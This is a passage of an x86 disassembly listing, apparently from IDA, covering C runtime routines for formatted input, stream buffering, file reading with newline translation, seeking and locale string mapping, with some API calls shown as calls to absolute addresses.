		dec	[ebp+var_4]

loc_41E14B:				; CODE XREF: sub_41D797+970j
					; sub_41D797+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E161
		cmp	byte ptr [esi],	25h
		jnz	short loc_41E1A3
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41E1A3
		mov	esi, eax

loc_41E161:				; CODE XREF: sub_41D797+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41D7C1
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------

loc_41E16D:				; CODE XREF: sub_41D797+1F4j
					; sub_41D797+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41E17D
; ---------------------------------------------------------------------------

loc_41E178:				; CODE XREF: sub_41D797+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_41E17D:				; CODE XREF: sub_41D797+9DFj
		call	sub_41E20D
		pop	ecx
		pop	ecx
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------

loc_41E186:				; CODE XREF: sub_41D797+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		add	esp, 10h

loc_41E19D:				; CODE XREF: sub_41D797+1Fj
					; sub_41D797+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E1B4

loc_41E1A3:				; CODE XREF: sub_41D797+9BDj
					; sub_41D797+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41E1B7
		cmp	[ebp+var_15], al
		jnz	short loc_41E1B7
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1B7
; ---------------------------------------------------------------------------

loc_41E1B4:				; CODE XREF: sub_41D797+A0Aj
		mov	eax, [ebp+var_34]

loc_41E1B7:				; CODE XREF: sub_41D797+A11j
					; sub_41D797+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D797	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1BC	proc near		; CODE XREF: sub_41D797+7A3p
					; sub_41D797+8DCp

arg_0		= dword	ptr  4

		cmp	dword_4397AC, 1
		push	esi
		jle	short loc_41E1D6
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E1E5
; ---------------------------------------------------------------------------

loc_41E1D6:				; CODE XREF: sub_41E1BC+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41E1E5:				; CODE XREF: sub_41E1BC+18j
		test	eax, eax
		jnz	short loc_41E1EF
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_41E1EF:				; CODE XREF: sub_41E1BC+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41E1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1F3	proc near		; CODE XREF: sub_41D797+1E1p
					; sub_41D797+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41E205
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_41E205:				; CODE XREF: sub_41E1F3+7j
		push	edx
		call	sub_41E248
		pop	ecx
		retn
sub_41E1F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E20D	proc near		; CODE XREF: sub_41D797+6Bp
					; sub_41D797+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41E223
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_420FAF
		pop	ecx
		pop	ecx

locret_41E223:				; CODE XREF: sub_41E20D+5j
		retn
sub_41E20D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E224	proc near		; CODE XREF: sub_41D797+63p
					; sub_41D797+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_41E22A:				; CODE XREF: sub_41E224+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41E1F3
		mov	edi, eax
		push	edi
		call	sub_420F60
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41E22A
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41E224	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E248	proc near		; CODE XREF: sub_418A86+A9p
					; sub_41900C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41E31C
		test	al, 40h
		jnz	loc_41E31C
		test	al, 2
		jz	short loc_41E26E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41E31C
; ---------------------------------------------------------------------------

loc_41E26E:				; CODE XREF: sub_41E248+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41E282
		push	esi
		call	sub_41F9D8
		pop	ecx
		jmp	short loc_41E287
; ---------------------------------------------------------------------------

loc_41E282:				; CODE XREF: sub_41E248+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41E287:				; CODE XREF: sub_41E248+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41E30B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E30B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41E2E0
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41E2C9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_48B340[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41E2CE
; ---------------------------------------------------------------------------

loc_41E2C9:				; CODE XREF: sub_41E248+6Bj
		mov	edi, offset dword_43BC20

loc_41E2CE:				; CODE XREF: sub_41E248+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41E2E0
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41E2E0:				; CODE XREF: sub_41E248+62j
					; sub_41E248+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41E2FD
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41E2FD
		test	ch, 4
		jnz	short loc_41E2FD
		mov	dword ptr [esi+18h], 1000h

loc_41E2FD:				; CODE XREF: sub_41E248+9Fj
					; sub_41E248+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41E30B:				; CODE XREF: sub_41E248+55j
					; sub_41E248+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41E31C:				; CODE XREF: sub_41E248+Aj
					; sub_41E248+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41E248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E321	proc near		; CODE XREF: sub_418A86+90p
					; sub_41E248+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_48B440
		jnb	loc_41E4FE
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:48B340h[eax*4]
		mov	eax, dword_48B340[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41E4FE
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41E3D6
		test	dl, 2
		jnz	short loc_41E3D6
		test	dl, 48h
		jz	short loc_41E396
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41E396
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41E396:				; CODE XREF: sub_41E321+56j
					; sub_41E321+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	short loc_41E3E9
		call	near ptr 2650C45h
		nop
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41E3D1
		mov	dword_48A014, 9
		mov	dword_48A018, ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------

loc_41E3D1:				; CODE XREF: sub_41E321+99j
		cmp	eax, 6Dh
		jnz	short loc_41E3DD

loc_41E3D6:				; CODE XREF: sub_41E321+4Cj
					; sub_41E321+51j
		xor	eax, eax
		jmp	loc_41E512
; ---------------------------------------------------------------------------

loc_41E3DD:				; CODE XREF: sub_41E321+B3j
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------

loc_41E3E9:				; CODE XREF: sub_41E321+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41E4F9
		test	edx, edx
		jz	short loc_41E40E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41E40E
		or	al, 4
		jmp	short loc_41E410
; ---------------------------------------------------------------------------

loc_41E40E:				; CODE XREF: sub_41E321+E2j
					; sub_41E321+E7j
		and	al, 0FBh

loc_41E410:				; CODE XREF: sub_41E321+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41E4F3

loc_41E428:				; CODE XREF: sub_41E321+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41E4E3
		cmp	al, 0Dh
		jz	short loc_41E444
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41E4D5
; ---------------------------------------------------------------------------

loc_41E444:				; CODE XREF: sub_41E321+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41E462
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E459
		add	[ebp+arg_8], 2
		jmp	short loc_41E4B7
; ---------------------------------------------------------------------------

loc_41E459:				; CODE XREF: sub_41E321+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------

loc_41E462:				; CODE XREF: sub_41E321+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2630000h
		nop
		test	eax, eax
		jnz	short loc_41E48A
		nop
		call	near ptr 2650C45h
		test	eax, eax
		jnz	short loc_41E4D1

loc_41E48A:				; CODE XREF: sub_41E321+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41E4D1
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41E4AC
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41E4B7
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------

loc_41E4AC:				; CODE XREF: sub_41E321+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41E4BC
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41E4BC

loc_41E4B7:				; CODE XREF: sub_41E321+136j
					; sub_41E321+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41E4D4
; ---------------------------------------------------------------------------

loc_41E4BC:				; CODE XREF: sub_41E321+18Ej
					; sub_41E321+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41E517
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41E4D5

loc_41E4D1:				; CODE XREF: sub_41E321+167j
					; sub_41E321+16Dj
		mov	byte ptr [edi],	0Dh

loc_41E4D4:				; CODE XREF: sub_41E321+199j
		inc	edi

loc_41E4D5:				; CODE XREF: sub_41E321+11Ej
					; sub_41E321+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41E428
		jmp	short loc_41E4F3
; ---------------------------------------------------------------------------

loc_41E4E3:				; CODE XREF: sub_41E321+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41E4F3
		or	al, 2
		mov	[esi], al

loc_41E4F3:				; CODE XREF: sub_41E321+101j
					; sub_41E321+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41E4F9:				; CODE XREF: sub_41E321+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41E512
; ---------------------------------------------------------------------------

loc_41E4FE:				; CODE XREF: sub_41E321+12j
					; sub_41E321+39j
		and	dword_48A018, 0
		mov	dword_48A014, 9

loc_41E50F:				; CODE XREF: sub_41E321+ABj
					; sub_41E321+C3j
		or	eax, 0FFFFFFFFh

loc_41E512:				; CODE XREF: sub_41E321+B7j
					; sub_41E321+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E321	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E517	proc near		; CODE XREF: sub_418D0E+67p
					; sub_419D23+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_48B440
		push	esi
		push	edi
		jnb	short loc_41E599
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41E599
		push	eax
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E55B
		mov	dword_48A014, 9
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------

loc_41E55B:				; CODE XREF: sub_41E517+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 26D0000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41E57B
		call	near ptr 2650C45h
		nop
		jmp	short loc_41E57D
; ---------------------------------------------------------------------------

loc_41E57B:				; CODE XREF: sub_41E517+5Aj
		xor	eax, eax

loc_41E57D:				; CODE XREF: sub_41E517+62j
		test	eax, eax
		jz	short loc_41E58A
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------

loc_41E58A:				; CODE XREF: sub_41E517+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41E5AD
; ---------------------------------------------------------------------------

loc_41E599:				; CODE XREF: sub_41E517+Dj
					; sub_41E517+2Aj
		and	dword_48A018, 0
		mov	dword_48A014, 9

loc_41E5AA:				; CODE XREF: sub_41E517+42j
					; sub_41E517+71j
		or	eax, 0FFFFFFFFh

loc_41E5AD:				; CODE XREF: sub_41E517+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E517	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5B1	proc near		; CODE XREF: sub_418D0E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41E5CD
		mov	[edi+4], ebx

loc_41E5CD:				; CODE XREF: sub_41E5B1+17j
		push	1
		push	ebx
		push	esi
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41E63B
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41E5F2
		sub	eax, [edi+4]
		jmp	loc_41E704
; ---------------------------------------------------------------------------

loc_41E5F2:				; CODE XREF: sub_41E5B1+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41E62C
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_48B340[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41E643
		mov	edx, ecx

loc_41E61D:				; CODE XREF: sub_41E5B1+79j
		cmp	edx, eax
		jnb	short loc_41E643
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41E629
		inc	[ebp+var_8]

loc_41E629:				; CODE XREF: sub_41E5B1+73j
		inc	edx
		jmp	short loc_41E61D
; ---------------------------------------------------------------------------

loc_41E62C:				; CODE XREF: sub_41E5B1+50j
		test	dl, 80h
		jnz	short loc_41E643
		mov	dword_48A014, 16h

loc_41E63B:				; CODE XREF: sub_41E5B1+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41E704
; ---------------------------------------------------------------------------

loc_41E643:				; CODE XREF: sub_41E5B1+68j
					; sub_41E5B1+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41E651
		mov	eax, [ebp+var_8]
		jmp	loc_41E704
; ---------------------------------------------------------------------------

loc_41E651:				; CODE XREF: sub_41E5B1+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41E6FC
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41E66A
		and	[ebp+var_8], edx
		jmp	loc_41E6FC
; ---------------------------------------------------------------------------

loc_41E66A:				; CODE XREF: sub_41E5B1+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41E6F6
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41E6BD
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_41E6A8:				; CODE XREF: sub_41E5B1+104j
		cmp	eax, ecx
		jnb	short loc_41E6B7
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E6B4
		inc	[ebp+arg_0]

loc_41E6B4:				; CODE XREF: sub_41E5B1+FEj
		inc	eax
		jmp	short loc_41E6A8
; ---------------------------------------------------------------------------

loc_41E6B7:				; CODE XREF: sub_41E5B1+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41E6F1
; ---------------------------------------------------------------------------

loc_41E6BD:				; CODE XREF: sub_41E5B1+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41E517
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41E6E4
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41E6E4
		test	ch, 4
		jz	short loc_41E6E7

loc_41E6E4:				; CODE XREF: sub_41E5B1+124j
					; sub_41E5B1+12Cj
		mov	eax, [edi+18h]

loc_41E6E7:				; CODE XREF: sub_41E5B1+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_41E6F1:				; CODE XREF: sub_41E5B1+10Aj
		jz	short loc_41E6F6
		inc	[ebp+arg_0]

loc_41E6F6:				; CODE XREF: sub_41E5B1+D9j
					; sub_41E5B1:loc_41E6F1j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_41E6FC:				; CODE XREF: sub_41E5B1+A4j
					; sub_41E5B1+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_41E704:				; CODE XREF: sub_41E5B1+3Cj
					; sub_41E5B1+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E5B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E709	proc near		; CODE XREF: sub_419063+47p
					; sub_419063+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248E0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_48A0C0, edi
		jnz	short loc_41E77F
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2890000h
		test	eax, eax
		jz	short loc_41E75D
		mov	dword_48A0C0, ebx
		jmp	short loc_41E77F
; ---------------------------------------------------------------------------

loc_41E75D:				; CODE XREF: sub_41E709+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_43C824
		push	esi
		push	edi
		call	near ptr 2880000h
		nop
		test	eax, eax
		jz	loc_41E897
		mov	dword_48A0C0, 2

loc_41E77F:				; CODE XREF: sub_41E709+2Ej
					; sub_41E709+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41E794
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_41E794:				; CODE XREF: sub_41E709+79j
		mov	eax, dword_48A0C0
		cmp	eax, 2
		jnz	short loc_41E7BB
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2880000h
		nop
		jmp	loc_41E899
; ---------------------------------------------------------------------------

loc_41E7BB:				; CODE XREF: sub_41E709+93j
		cmp	eax, 1
		jnz	loc_41E897
		cmp	[ebp+arg_18], edi
		jnz	short loc_41E7D1
		mov	eax, dword_48A0B8
		mov	[ebp+arg_18], eax

loc_41E7D1:				; CODE XREF: sub_41E709+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2620000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41E897
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E82C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_41E82C:				; CODE XREF: sub_41E709+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41E897
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_41E897
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2890000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41E897
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41E8AB
		cmp	[ebp+arg_14], edi
		jz	loc_41E926
		cmp	esi, [ebp+arg_14]
		jg	short loc_41E897
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2890000h
		test	eax, eax
		jnz	loc_41E926

loc_41E897:				; CODE XREF: sub_41E709+66j
					; sub_41E709+B5j ...
		xor	eax, eax

loc_41E899:				; CODE XREF: sub_41E709+ADj
					; sub_41E709+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41E8AB:				; CODE XREF: sub_41E709+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E8DF
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_41E8DF:				; CODE XREF: sub_41E709+1C2j
		cmp	ebx, edi
		jz	short loc_41E897
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2890000h
		nop
		test	eax, eax
		jz	short loc_41E897
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41E906
		push	edi
		push	edi
		jmp	short loc_41E90C
; ---------------------------------------------------------------------------

loc_41E906:				; CODE XREF: sub_41E709+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_41E90C:				; CODE XREF: sub_41E709+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 27C0000h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41E897

loc_41E926:				; CODE XREF: sub_41E709+165j
					; sub_41E709+188j
		mov	eax, esi
		jmp	loc_41E899
sub_41E709	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E92D	proc near		; CODE XREF: sub_41ECF1+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41EAC6
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_48B444
		mov	[ebp+arg_0], esi
		jz	loc_41EABA
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41EAB0
		xor	edx, edx
		mov	eax, offset dword_43B940

loc_41E961:				; CODE XREF: sub_41E92D+41j
		cmp	[eax], esi
		jz	short loc_41E9D7
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43BA30
		jl	short loc_41E961
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	near ptr 28910C2h
		nop
		cmp	eax, 1
		jnz	loc_41EAA8
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_48B560
		cmp	[ebp+var_18], 1
		mov	dword_48B444, esi
		rep stosd
		stosb
		mov	dword_48B664, ebx
		jbe	loc_41EA96
		cmp	[ebp+var_12], 0
		jz	loc_41EA6C
		lea	ecx, [ebp+var_11]

loc_41E9B4:				; CODE XREF: sub_41E92D+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41EA6C
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_41E9C5:				; CODE XREF: sub_41E92D+A8j
		cmp	eax, edx
		ja	loc_41EA60
		or	byte_48B561[eax], 4
		inc	eax
		jmp	short loc_41E9C5
; ---------------------------------------------------------------------------

loc_41E9D7:				; CODE XREF: sub_41E92D+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_48B560
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43B950[esi]

loc_41E9F3:				; CODE XREF: sub_41E92D+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
